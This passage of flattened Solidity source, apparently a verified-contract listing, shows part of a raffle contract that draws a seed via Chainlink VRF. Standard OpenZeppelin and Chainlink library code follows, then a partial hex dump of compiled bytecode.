_msgSender(); totalEntrants += 1; } addressEntries[_msgSender()] += amount; totalEntries += amount; } /** * @notice Abstract function to set payment functionality * @param amount Amount of entries being purchased */ function pay(uint256 amount) internal virtual; /** * @notice Set seed for drawing winners * @dev Must set the deterministic draw script before to ensure fairness */ function draw() public onlyOwner { if (drawn) revert AlreadyDrawn(); if (bytes(drawScriptURI).length == 0) revert DrawScriptNotSet(); COORDINATOR.requestRandomWords( vrfRequestConfig.keyHash, vrfRequestConfig.subId, vrfRequestConfig.requestConfirmations, vrfRequestConfig.callbackGasLimit, 1 // number of random words ); } /** * @inheritdoc VRFConsumerBaseV2 */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override { seed = randomWords[0]; drawn = true; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2 { error OnlyCoordinatorCanFulfill(address have, address want); address private immutable vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ constructor(address _vrfCoordinator) { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x6080604052600436106101ab5760003560e01c80637792cf21116100ec578063c5a594981161008a578063e330f08811610064578063e330f08814610535578063e7b4e5ab14610569578063f2fde38b1461059f578063fd915ef2146105bf57600080fd5b8063c5a59498146104cb578063d08223a1146104eb578063ddca3f431461051f57600080fd5b80638da5cb5b116100c65780638da5cb5b146103e95780639af6bc9714610407578063a59f3e0c1461043b578063b72e9f361461044e57600080fd5b80637792cf21146103715780637d94792a146103bd5780637fef036e146103d357600080fd5b806345649ebb11610159578063694463a211610133578063694463a2146102f957806369fe0e2d1461030f578063715018a61461032f5780637699c1291461034457600080fd5b806345649ebb146102665780635c975abb1461029a5780636926726e146102c557600080fd5b806327496f6f1161018a57806327496f6f14610207578063333171bb1461022f5780634281e60e1461024457600080fd5b80627f3089146101b05780630eecae21146101d25780631fe543e3146101e7575b600080fd5b3480156101bc57600080fd5b506101d06101cb3660046112a5565b6105d9565b005b3480156101de57600080fd5b506101d061065b565b3480156101f357600080fd5b506101d06102023660046113d6565b6107d7565b34801561021357600080fd5b5061021c600281565b6040519081526020015b60405180910390f35b34801561023b57600080fd5b506101d061085f565b34801561025057600080fd5b506102596108ca565b604051610226919061148f565b34801561027257600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156102a657600080fd5b50600054600160a01b900460ff165b6040519015158152602001610226565b3480156102d157600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000002881565b34801561030557600080fd5b5061021c60075481565b34801561031b57600080fd5b506101d061032a3660046113a4565b610958565b34801561033b57600080fd5b506101d06109a5565b34801561035057600080fd5b5061021c61035f366004611275565b600a6020526000908152604090205481565b34801561037d57600080fd5b506103a57f0000000000000000000000000c2e57efddba8c768147d1fdf9176a0a6ebd5d8381565b6040516001600160a01b039091168152602001610226565b3480156103c957600080fd5b5061021c60065481565b3480156103df57600080fd5b5061021c60085481565b3480156103f557600080fd5b506000546001600160a01b03166103a5565b34801561041357600080fd5b506103a57f0000000000000000000000005cd2fac9702d68dde5a94b1af95962bcfb80fc7d81565b6101d06104493660046113a4565b6109f7565b34801561045a57600080fd5b50600254600354610493919067ffffffffffffffff81169068010000000000000000810463ffffffff1690600160601b900461ffff1684565b6040805194855267ffffffffffffffff909316602085015263ffffffff9091169183019190915261ffff166060820152608001610226565b3480156104d757600080fd5b506101d06104e6366004611317565b610a1d565b3480156104f757600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561052b57600080fd5b5061021c600b5481565b34801561054157600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057557600080fd5b506103a56105843660046113a4565b6009602052600090815260409020546001600160a01b031681565b3480156105ab57600080fd5b506101d06105ba366004611275565b610ad6565b3480156105cb57600080fd5b506005546102b59060ff1681565b6000546001600160a01b031633146106265760405162461bcd60e51b815260206004820181905260248201526000805160206115ec83398151915260448201526064015b60405180910390fd5b60055460ff161561064a5760405163097e1d9b60e01b815260040160405180910390fd5b610656600483836111c5565b505050565b6000546001600160a01b031633146106a35760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b60055460ff16156106c75760405163097e1d9b60e01b815260040160405180910390fd5b600480546106d49061156e565b151590506106f5576040516319eefa8d60e11b815260040160405180910390fd5b6002546003546040516305d3b1d360e41b8152600481019290925267ffffffffffffffff81166024830152600160601b810461ffff16604483015268010000000000000000900463ffffffff166064820152600160848201527f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e699096001600160a01b031690635d3b1d309060a401602060405180830381600087803b15801561079c57600080fd5b505af11580156107b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d491906113bd565b50565b336001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990916146108515760405163073e64fd60e21b81523360048201526001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990916602482015260440161061d565b61085b8282610b8c565b5050565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b600054600160a01b900460ff166108c2576108c0610bbe565b565b6108c0610c63565b600480546108d79061156e565b80601f01602080910402602001604051908101604052809291908181526020018280546109039061156e565b80156109505780601f1061092557610100808354040283529160200191610950565b820191906000526020600020905b81548152906001019060200180831161093357829003601f168201915b505050505081565b6000546001600160a01b031633146109a05760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b600b55565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b6108c06000610cf0565b6107d4610a0333610d4d565b610a0d5781610df2565b610a1860028361154f565b610df2565b6000546001600160a01b03163314610a655760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b8051600255602081015160038054604084015160609094015161ffff16600160601b026dffff0000000000000000000000001963ffffffff90951668010000000000000000026bffffffffffffffffffffffff1990921667ffffffffffffffff909416939093171792909216179055565b6000546001600160a01b03163314610b1e5760405162461bcd60e51b815260206004820181905260248201526000805160206115ec833981519152604482015260640161061d565b6001600160a01b038116610b835760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061d565b6107d481610cf0565b80600081518110610b9f57610b9f6115bf565b602090810291909101015160065550506005805460ff19166001179055565b600054600160a01b900460ff1615610c0b5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161061d565b6000805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610c463390565b6040516001600160a01b03909116815260200160405180910390a1565b600054600160a01b900460ff16610cbc5760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161061d565b6000805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33610c46565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040516370a0823160e01b81526001600160a01b03828116600483015260009182917f0000000000000000000000000c2e57efddba8c768147d1fdf9176a0a6ebd5d8316906370a082319060240160206040518083038186803b158015610db357600080fd5b505afa158015610dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610deb91906113bd565b1192915050565b600054600160a01b900460ff1615610e3f5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161061d565b60026001541415610e925760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161061d565b600260015560055460ff1615610ebb5760405163097e1d9b60e01b815260040160405180910390fd5b60007f0000000000000000000000000000000000000000000000000000000000000000118015610f0c57506007547f0000000000000000000000000000000000000000000000000000000000000000145b8015610f255750336000908152600a6020526040902054155b15610f435760405163752149e560e01b815260040160405180910390fd5b60007f0000000000000000000000000000000000000000000000000000000000000000118015610f9f57507f000000000000000000000000000000000000000000000000000000000000000081600854610f9d9190611515565b115b15610fbd5760405163d7e472fd60e01b815260040160405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000001180156110275750336000908152600a60205260409020547f000000000000000000000000000000000000000000000000000000000000000090611025908390611515565b115b156110455760405163178fff8560e11b815260040160405180910390fd5b61104e816110ed565b336000908152600a60205260409020546110a957600780546000908152600960205260408120805473ffffffffffffffffffffffffffffffffffffffff191633179055815460019291906110a3908490611515565b90915550505b336000908152600a6020526040812080548392906110c8908490611515565b9250508190555080600860008282546110e19190611515565b90915550506001805550565b6001600160a01b037f0000000000000000000000005cd2fac9702d68dde5a94b1af95962bcfb80fc7d16639dc29fac338361112733610d4d565b61113357600b54611142565b6002600b54611142919061152d565b61114c91906115